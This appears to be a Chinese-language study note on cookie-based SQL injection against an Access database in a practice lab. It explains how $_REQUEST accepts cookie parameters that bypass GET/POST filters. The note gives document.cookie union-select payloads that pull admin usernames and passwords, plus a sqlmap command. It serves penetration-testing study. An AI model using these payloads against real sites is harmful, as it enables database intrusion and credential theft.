Access-Cookie注入(笔记)

cookie注入的本质

当某个get或post里的参数存在sql注入,但是被过滤了很多sql函数无法进行注入,如果不是用GET或POST进行传参用的是$_REQUEST函数来传参,REQUEST支持get,post,cookie传参(php 5.4以上版本不在支持cookie传参),如果只对get和post进行了过滤,而cookie的传参并没有过滤,那么就会产生危害,相当于无任何防护。
cookie注入的核心是传参的方式不同

如:
这是一个cookie注入的靶场
Access-Cookie注入(笔记)_第1张图片
常规流程 -1测试是否存在注入,页面产生了改变证明跟数据库产生了交互
Access-Cookie注入(笔记)_第2张图片
输入 and -1=-1 发现被过滤无法进行注入
Access-Cookie注入(笔记)_第3张图片
尝试cookie注入,删除后面的传参页面报错
Access-Cookie注入(笔记)_第4张图片

f12打开控制台
Access-Cookie注入(笔记)_第5张图片
在cookie管理里输入刚才删除的参数id=171
Access-Cookie注入(笔记)_第6张图片刷新页面,页面正常,可以使用cookie传参
Access-Cookie注入(笔记)_第7张图片
看看有没有注入,cookie注入需要将输入的内容url编码
Access-Cookie注入(笔记)_第8张图片

and 1=1 页面正常
Access-Cookie注入(笔记)_第9张图片

and 1=2 页面报错,存在注入

Access-Cookie注入(笔记)_第10张图片每次输入都需要url编码会很繁琐,可以使用javascript来设置cookie

document.cookie=“id=”+escape(“171”)
escape是一个编码函数,这个函数会进行一次url编码
Access-Cookie注入(笔记)_第11张图片

order by查看字段
存在10个字段
Access-Cookie注入(笔记)_第12张图片
查看回显字段
access没有系统自带表,,需要强猜表名常见表名 user admin

document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")

Access-Cookie注入(笔记)_第13张图片猜字段

document.cookie="id="+escape("171 union select 1,username,3,4,5,6,7,8,9,10 from admin")

Access-Cookie注入(笔记)_第14张图片

document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,10 from admin")

Access-Cookie注入(笔记)_第15张图片拿到后台登陆账号密码
Access-Cookie注入(笔记)_第16张图片
在这里插入图片描述
sqlmap跑cookie注入

python sqlmap.py -u "http//:www.fff.com/123.asp" --cookie "id=171" --level 2

你可能感兴趣的:(web渗透测试,web)